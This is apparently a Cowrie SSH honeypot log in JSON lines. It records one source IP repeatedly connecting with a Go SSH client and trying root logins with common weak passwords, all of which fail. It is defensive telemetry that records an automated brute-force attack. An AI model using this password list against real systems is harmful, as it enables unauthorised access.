{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:16.836241Z","src_ip":"60.165.124.241","session":"625a482e9dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqaz123!@#","message":"login attempt [root/QWEqaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:17.616948Z","src_ip":"60.165.124.241","session":"625a482e9dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:18.878422Z","src_ip":"60.165.124.241","session":"625a482e9dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36308,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b35a02eabd3","protocol":"ssh","message":"New connection: 60.165.124.241:36308 (10.17.0.5:22) [session: 3b35a02eabd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:19.092533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:19.097250Z","src_ip":"60.165.124.241","session":"3b35a02eabd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:19.343616Z","src_ip":"60.165.124.241","session":"3b35a02eabd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test#123","message":"login attempt [root/Test#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:20.335683Z","src_ip":"60.165.124.241","session":"3b35a02eabd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:21.576970Z","src_ip":"60.165.124.241","session":"3b35a02eabd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39632,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fa16c2ef41","protocol":"ssh","message":"New connection: 60.165.124.241:39632 (10.17.0.5:22) [session: 71fa16c2ef41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:21.811517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:21.816498Z","src_ip":"60.165.124.241","session":"71fa16c2ef41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:22.058607Z","src_ip":"60.165.124.241","session":"71fa16c2ef41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test2020","message":"login attempt [root/Test2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:22.781653Z","src_ip":"60.165.124.241","session":"71fa16c2ef41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:24.028940Z","src_ip":"60.165.124.241","session":"71fa16c2ef41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42510,"dst_ip":"10.17.0.5","dst_port":22,"session":"211d1bcd7a8a","protocol":"ssh","message":"New connection: 60.165.124.241:42510 (10.17.0.5:22) [session: 211d1bcd7a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:24.307039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:24.311726Z","src_ip":"60.165.124.241","session":"211d1bcd7a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:24.575453Z","src_ip":"60.165.124.241","session":"211d1bcd7a8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin.!@#4","message":"login attempt [root/Admin.!@#4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:25.366012Z","src_ip":"60.165.124.241","session":"211d1bcd7a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:26.634283Z","src_ip":"60.165.124.241","session":"211d1bcd7a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45766,"dst_ip":"10.17.0.5","dst_port":22,"session":"3802e861653e","protocol":"ssh","message":"New connection: 60.165.124.241:45766 (10.17.0.5:22) [session: 3802e861653e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:26.847805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:26.852289Z","src_ip":"60.165.124.241","session":"3802e861653e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:27.090318Z","src_ip":"60.165.124.241","session":"3802e861653e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@wsx#EDc","message":"login attempt [root/!qaz@wsx#EDc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:27.809941Z","src_ip":"60.165.124.241","session":"3802e861653e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:29.051652Z","src_ip":"60.165.124.241","session":"3802e861653e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48672,"dst_ip":"10.17.0.5","dst_port":22,"session":"be97a1db119c","protocol":"ssh","message":"New connection: 60.165.124.241:48672 (10.17.0.5:22) [session: be97a1db119c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:29.320619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:29.325164Z","src_ip":"60.165.124.241","session":"be97a1db119c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:29.582183Z","src_ip":"60.165.124.241","session":"be97a1db119c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:30.358659Z","src_ip":"60.165.124.241","session":"be97a1db119c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:31.619478Z","src_ip":"60.165.124.241","session":"be97a1db119c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51782,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fb89548f00d","protocol":"ssh","message":"New connection: 60.165.124.241:51782 (10.17.0.5:22) [session: 9fb89548f00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:31.832896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:31.837311Z","src_ip":"60.165.124.241","session":"9fb89548f00d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:32.076674Z","src_ip":"60.165.124.241","session":"9fb89548f00d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe112233","message":"login attempt [root/Qwe112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:32.791723Z","src_ip":"60.165.124.241","session":"9fb89548f00d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:34.037340Z","src_ip":"60.165.124.241","session":"9fb89548f00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54654,"dst_ip":"10.17.0.5","dst_port":22,"session":"9596deba471a","protocol":"ssh","message":"New connection: 60.165.124.241:54654 (10.17.0.5:22) [session: 9596deba471a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:34.274484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:34.280490Z","src_ip":"60.165.124.241","session":"9596deba471a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:34.524001Z","src_ip":"60.165.124.241","session":"9596deba471a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@@","message":"login attempt [root/admin123@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:35.249561Z","src_ip":"60.165.124.241","session":"9596deba471a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:36.492646Z","src_ip":"60.165.124.241","session":"9596deba471a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57558,"dst_ip":"10.17.0.5","dst_port":22,"session":"01e21cff5de6","protocol":"ssh","message":"New connection: 60.165.124.241:57558 (10.17.0.5:22) [session: 01e21cff5de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:36.733911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:36.738576Z","src_ip":"60.165.124.241","session":"01e21cff5de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:36.988515Z","src_ip":"60.165.124.241","session":"01e21cff5de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Chen123456","message":"login attempt [root/Chen123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:37.715338Z","src_ip":"60.165.124.241","session":"01e21cff5de6","protocol":"ssh"}
